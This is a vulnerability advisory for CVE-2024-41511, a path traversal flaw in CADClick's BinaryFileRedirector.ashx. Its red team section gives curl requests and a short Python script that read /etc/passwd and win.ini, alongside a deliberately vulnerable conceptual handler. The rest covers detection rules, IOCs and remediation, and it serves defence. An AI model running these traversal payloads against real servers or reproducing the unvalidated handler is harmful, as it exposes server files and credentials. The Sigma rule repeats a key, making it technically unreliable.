CVE-2024-41511

Executive Summary

CVE-2024-41511 is a Path Traversal (Local File Inclusion) vulnerability discovered in the BinaryFileRedirector.ashx handler of CADClick version 1.11.0 and earlier. The vulnerability allows a remote, unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating the path parameter. This can lead to the exposure of sensitive configuration files, source code, credentials, and other critical data. The vulnerability is currently unpatched, and a proof-of-concept (PoC) is publicly available, increasing the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete disclosure of sensitive server-side data.

Deep Dive & Mechanics

The vulnerability resides in the BinaryFileRedirector.ashx HTTP handler. This handler is designed to serve binary files (e.g., images, documents) to clients. It accepts a path parameter that specifies the location of the file to be served.

The core issue is the lack of proper input validation and sanitization on the path parameter. The application does not check for path traversal sequences such as ../ or ..\. As a result, an attacker can supply a path like ../../../../etc/passwd to read files outside the intended web root directory.

The handler likely uses a function like File.ReadAllBytes(path) or Server.MapPath(path) without first normalizing the path or restricting it to a specific base directory. This allows the attacker to traverse up the directory tree and access any file that the web server process has read permissions for.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable handler in BinaryFileRedirector.ashx
public void ProcessRequest(HttpContext context)
{
    string filePath = context.Request.QueryString["path"];
    // No validation or sanitization
    byte[] fileBytes = File.ReadAllBytes(filePath);
    context.Response.ContentType = "application/octet-stream";
    context.Response.BinaryWrite(fileBytes);
}

Patched Code (Conceptual):

// Patched handler
public void ProcessRequest(HttpContext context)
{
    string userPath = context.Request.QueryString["path"];
    // Sanitize: remove path traversal sequences
    string safePath = Path.GetFullPath(userPath);
    string baseDirectory = Path.GetFullPath(Server.MapPath("~/Files"));
    // Ensure the resolved path is within the allowed directory
    if (!safePath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase))
    {
        context.Response.StatusCode = 403;
        context.Response.End();
        return;
    }
    if (File.Exists(safePath))
    {
        byte[] fileBytes = File.ReadAllBytes(safePath);
        context.Response.ContentType = "application/octet-stream";
        context.Response.BinaryWrite(fileBytes);
    }
    else
    {
        context.Response.StatusCode = 404;
    }
}

The patched code uses Path.GetFullPath to resolve any .. sequences and then verifies that the resulting path starts with the intended base directory. This prevents traversal outside the allowed folder.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running CADClick v1.11.0 or earlier.
• Network access to the web application.

Exploit Steps:

1. Identify the vulnerable endpoint: The handler is typically located at /BinaryFileRedirector.ashx.

2. Craft the malicious request: Use a path traversal sequence to read a sensitive file.

   Example Request (using curl):

   curl "http://target.com/BinaryFileRedirector.ashx?path=../../../../Windows/win.ini"
   

   Example Request (reading /etc/passwd on Linux):

   curl "http://target.com/BinaryFileRedirector.ashx?path=../../../../etc/passwd"
   

3. Analyze the response: The server will return the contents of the requested file in the HTTP response body.

Automated Exploitation (Python):

import requests

target = "http://target.com"
endpoint = "/BinaryFileRedirector.ashx"
payload = "../../../../etc/passwd"

url = f"{target}{endpoint}?path={payload}"
response = requests.get(url)

if response.status_code == 200:
    print("[+] File retrieved successfully:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF) Rules: Block requests containing path traversal sequences (../, ..\\, %2e%2e%2f, etc.) in the path parameter.
2. Input Validation: Implement server-side validation to reject any path parameter that contains .. or does not resolve to an allowed directory.
3. Least Privilege: Run the web application with a low-privileged account that has read access only to the necessary directories.
4. Logging & Monitoring: Log all requests to BinaryFileRedirector.ashx and alert on any that contain suspicious path patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /BinaryFileRedirector.ashx with a path parameter containing ../ or ..\.
  • Unusual outbound data transfers from the web server, especially of configuration files (e.g., web.config, appsettings.json).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd, C:\Windows\win.ini).
• Log IOCs:
  • Web server logs showing requests with path parameters containing directory traversal sequences.

Detection Engineering

YARA Rule

rule Detect_CADClick_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CADClick BinaryFileRedirector.ashx"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-41511"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $handler = "BinaryFileRedirector.ashx"
    condition:
        $handler and any of ($traversal*)
}

Sigma Rule

title: CADClick BinaryFileRedirector Path Traversal Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to CADClick's BinaryFileRedirector.ashx with path traversal sequences.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41511
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "BinaryFileRedirector.ashx"
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some configurations (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41511 CADClick BinaryFileRedirector Path Traversal Attempt"; flow:to_server; content:"BinaryFileRedirector.ashx"; http_uri; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable handler: If BinaryFileRedirector.ashx is not essential, remove or disable it in IIS.
2. Apply a virtual patch: Use a WAF to block requests containing path traversal sequences in the path parameter.
3. Restrict file system permissions: Ensure the web application pool identity has read access only to the necessary directories.

Long-Term Fix:

• Vendor Patch: Await an official patch from CADClick. The fix should implement proper input validation and path sanitization as described in the "Vulnerable vs. Patched Code" section.
• Code Review: Conduct a security code review of all handlers that accept file paths as input.

Valters IT
DevSecOps & Cyber Threat Intelligence